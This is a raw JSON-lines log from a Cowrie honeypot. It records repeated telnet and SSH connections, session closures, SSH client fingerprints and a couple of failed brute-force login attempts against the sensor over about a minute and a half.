{"eventid":"cowrie.session.closed","duration":34.41355109214783,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:28.557261Z","src_ip":"185.185.82.165","session":"de222659745d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.562315702438354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:29.062719Z","src_ip":"173.249.44.46","session":"224c0f2bf1f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.973546981811523,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:29.112382Z","src_ip":"197.158.124.3","session":"0046568321e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31945037841797,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:30.052097Z","src_ip":"173.249.44.46","session":"a0e5ab360dfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14032006263733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:30.110959Z","src_ip":"85.208.100.77","session":"779f3cb423e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16905975341797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:30.163099Z","src_ip":"173.249.44.46","session":"ebbfd1efb332","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.849096536636353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:32.123456Z","src_ip":"197.242.148.130","session":"e7d1b0a6f921","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.366347074508667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:32.762680Z","src_ip":"173.249.44.46","session":"95298c1c4cbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.242.148.130","src_port":42420,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b89078001ef","protocol":"telnet","message":"New connection: 197.242.148.130:42420 (159.203.135.109:23) [session: 7b89078001ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:36.956997Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.242.148.130","src_port":42428,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac5ef77c3f8c","protocol":"telnet","message":"New connection: 197.242.148.130:42428 (159.203.135.109:23) [session: ac5ef77c3f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:37.149623Z"}
{"eventid":"cowrie.session.closed","duration":31.568390130996704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:38.392550Z","src_ip":"43.134.118.172","session":"32c3da607ffe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.535675287246704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:38.568707Z","src_ip":"43.134.118.172","session":"5d0c673e304d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49786615371704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:40.313127Z","src_ip":"197.242.148.130","session":"6cbe0e8ae9ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.242.148.130","src_port":46304,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff71de33d084","protocol":"telnet","message":"New connection: 197.242.148.130:46304 (159.203.135.109:23) [session: ff71de33d084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:40.879200Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":45036,"dst_ip":"10.17.0.5","dst_port":22,"session":"2896d80378e9","protocol":"ssh","message":"New connection: 103.228.69.212:45036 (10.17.0.5:22) [session: 2896d80378e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:41.542809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:41.546913Z","src_ip":"103.228.69.212","session":"2896d80378e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:41.779828Z","src_ip":"103.228.69.212","session":"2896d80378e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello12345","message":"login attempt [root/hello12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:42.736225Z","src_ip":"103.228.69.212","session":"2896d80378e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.463208436965942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:43.776262Z","src_ip":"197.242.148.130","session":"7014da5b3e71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:43.969651Z","src_ip":"103.228.69.212","session":"2896d80378e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.76224684715271,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:44.879985Z","src_ip":"197.242.148.130","session":"2f583929d471","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00188398361206,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:46.415947Z","src_ip":"138.0.214.217","session":"ef674b26ace2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.0.214.217","src_port":37616,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0b38877e9ac","protocol":"telnet","message":"New connection: 138.0.214.217:37616 (10.17.0.5:23) [session: d0b38877e9ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:46.953972Z"}
{"eventid":"cowrie.session.closed","duration":31.126049995422363,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:47.126791Z","src_ip":"85.208.100.77","session":"4bee93bdaba4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.574219465255737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:47.254672Z","src_ip":"85.208.100.77","session":"68c5f99fc9c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.242.148.130","src_port":46316,"dst_ip":"159.203.135.109","dst_port":23,"session":"32412146a0f9","protocol":"telnet","message":"New connection: 197.242.148.130:46316 (159.203.135.109:23) [session: 32412146a0f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:47.708989Z"}
{"eventid":"cowrie.session.closed","duration":32.043325424194336,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:48.384084Z","src_ip":"185.185.82.165","session":"39222deca302","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":33134,"dst_ip":"159.203.135.109","dst_port":23,"session":"508ef4f57e1e","protocol":"telnet","message":"New connection: 185.185.82.165:33134 (159.203.135.109:23) [session: 508ef4f57e1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:48.963009Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.84.114","src_port":43180,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bf5296e2044","protocol":"telnet","message":"New connection: 209.126.84.114:43180 (159.203.135.109:23) [session: 1bf5296e2044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:50.594757Z"}
{"eventid":"cowrie.session.closed","duration":33.79426455497742,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:51.264505Z","src_ip":"185.185.82.165","session":"52230b2b46ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":33148,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1ca9b6c1262","protocol":"telnet","message":"New connection: 185.185.82.165:33148 (159.203.135.109:23) [session: a1ca9b6c1262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:53.849993Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":48298,"dst_ip":"159.203.135.109","dst_port":23,"session":"b894f98c64d1","protocol":"telnet","message":"New connection: 185.185.82.165:48298 (159.203.135.109:23) [session: b894f98c64d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:54.879215Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":48324,"dst_ip":"159.203.135.109","dst_port":23,"session":"db15d18201b3","protocol":"telnet","message":"New connection: 185.185.82.165:48324 (159.203.135.109:23) [session: db15d18201b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:59.540662Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":48312,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a817c0cbc1e","protocol":"telnet","message":"New connection: 185.185.82.165:48312 (159.203.135.109:23) [session: 9a817c0cbc1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:04:59.559938Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":53716,"dst_ip":"159.203.135.109","dst_port":23,"session":"52809989063e","protocol":"telnet","message":"New connection: 185.185.82.165:53716 (159.203.135.109:23) [session: 52809989063e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:08.157860Z"}
{"eventid":"cowrie.session.closed","duration":31.135383129119873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:08.284904Z","src_ip":"197.242.148.130","session":"ac5ef77c3f8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.242.148.130","src_port":41716,"dst_ip":"159.203.135.109","dst_port":23,"session":"69002b546d8a","protocol":"telnet","message":"New connection: 197.242.148.130:41716 (159.203.135.109:23) [session: 69002b546d8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:08.696792Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":53730,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba82e7b8ddbf","protocol":"telnet","message":"New connection: 185.185.82.165:53730 (159.203.135.109:23) [session: ba82e7b8ddbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:08.700920Z"}
{"eventid":"cowrie.session.closed","duration":31.86963653564453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:08.826413Z","src_ip":"197.242.148.130","session":"7b89078001ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":53740,"dst_ip":"159.203.135.109","dst_port":23,"session":"8288223cdc3e","protocol":"telnet","message":"New connection: 185.185.82.165:53740 (159.203.135.109:23) [session: 8288223cdc3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:09.610377Z"}
{"eventid":"cowrie.session.closed","duration":32.22744369506836,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:13.106555Z","src_ip":"197.242.148.130","session":"ff71de33d084","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":53750,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff03624f453b","protocol":"telnet","message":"New connection: 185.185.82.165:53750 (159.203.135.109:23) [session: ff03624f453b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:13.339491Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.242.148.130","src_port":41724,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9f00edb2e7d","protocol":"telnet","message":"New connection: 197.242.148.130:41724 (159.203.135.109:23) [session: f9f00edb2e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:13.976752Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.242.148.130","src_port":41726,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5157a8dcb83","protocol":"telnet","message":"New connection: 197.242.148.130:41726 (159.203.135.109:23) [session: c5157a8dcb83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:17.784824Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":48484,"dst_ip":"10.17.0.5","dst_port":23,"session":"be12b0ee7cd3","protocol":"telnet","message":"New connection: 69.65.3.189:48484 (10.17.0.5:23) [session: be12b0ee7cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:18.449351Z"}
{"eventid":"cowrie.session.closed","duration":31.085487842559814,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:18.794379Z","src_ip":"197.242.148.130","session":"32412146a0f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.030428409576416,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:20.993320Z","src_ip":"185.185.82.165","session":"508ef4f57e1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.479545831680298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:21.074185Z","src_ip":"209.126.84.114","session":"1bf5296e2044","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.141406059265137,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:24.991296Z","src_ip":"185.185.82.165","session":"a1ca9b6c1262","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":39504,"dst_ip":"159.203.135.109","dst_port":23,"session":"583c114f9989","protocol":"telnet","message":"New connection: 185.185.82.165:39504 (159.203.135.109:23) [session: 583c114f9989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:28.065281Z"}
{"eventid":"cowrie.session.closed","duration":34.04664587974548,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:28.925740Z","src_ip":"185.185.82.165","session":"b894f98c64d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.2894651889801,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:31.830023Z","src_ip":"185.185.82.165","session":"db15d18201b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.49447202682495,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:32.054301Z","src_ip":"185.185.82.165","session":"9a817c0cbc1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":50566,"dst_ip":"159.203.135.109","dst_port":23,"session":"66eb2e2dbc28","protocol":"telnet","message":"New connection: 185.185.82.165:50566 (159.203.135.109:23) [session: 66eb2e2dbc28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:34.398245Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":50574,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb7a43e7133e","protocol":"telnet","message":"New connection: 185.185.82.165:50574 (159.203.135.109:23) [session: eb7a43e7133e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:34.767252Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":50588,"dst_ip":"159.203.135.109","dst_port":23,"session":"14040f1db688","protocol":"telnet","message":"New connection: 185.185.82.165:50588 (159.203.135.109:23) [session: 14040f1db688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:34.894326Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.242.148.130","src_port":41500,"dst_ip":"159.203.135.109","dst_port":23,"session":"478f9d3e96e0","protocol":"telnet","message":"New connection: 197.242.148.130:41500 (159.203.135.109:23) [session: 478f9d3e96e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:38.072833Z"}
{"eventid":"cowrie.session.closed","duration":30.779850482940674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:39.480672Z","src_ip":"185.185.82.165","session":"ba82e7b8ddbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.657861948013306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:39.815271Z","src_ip":"185.185.82.165","session":"52809989063e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21861982345581,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:39.915296Z","src_ip":"197.242.148.130","session":"69002b546d8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.956077814102173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:41.566323Z","src_ip":"185.185.82.165","session":"8288223cdc3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":33626,"dst_ip":"10.17.0.5","dst_port":22,"session":"6faeff44b457","protocol":"ssh","message":"New connection: 103.228.69.212:33626 (10.17.0.5:22) [session: 6faeff44b457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:42.312265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:42.317688Z","src_ip":"103.228.69.212","session":"6faeff44b457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:42.553007Z","src_ip":"103.228.69.212","session":"6faeff44b457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":50596,"dst_ip":"159.203.135.109","dst_port":23,"session":"547351b7a852","protocol":"telnet","message":"New connection: 185.185.82.165:50596 (159.203.135.109:23) [session: 547351b7a852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:42.591283Z"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo@1","message":"login attempt [demo/demo@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:43.525498Z","src_ip":"103.228.69.212","session":"6faeff44b457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":47342,"dst_ip":"159.203.135.109","dst_port":23,"session":"deacabad74c1","protocol":"telnet","message":"New connection: 185.185.82.165:47342 (159.203.135.109:23) [session: deacabad74c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:44.327359Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":50604,"dst_ip":"159.203.135.109","dst_port":23,"session":"616d080af2e1","protocol":"telnet","message":"New connection: 185.185.82.165:50604 (159.203.135.109:23) [session: 616d080af2e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:44.615972Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.185.195","src_port":57424,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0ae86693111","protocol":"ssh","message":"New connection: 209.99.185.195:57424 (10.17.0.5:22) [session: b0ae86693111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:44.696693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:44.701293Z","src_ip":"209.99.185.195","session":"b0ae86693111","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:05:44.762160Z","src_ip":"103.228.69.212","session":"6faeff44b457","protocol":"ssh"}
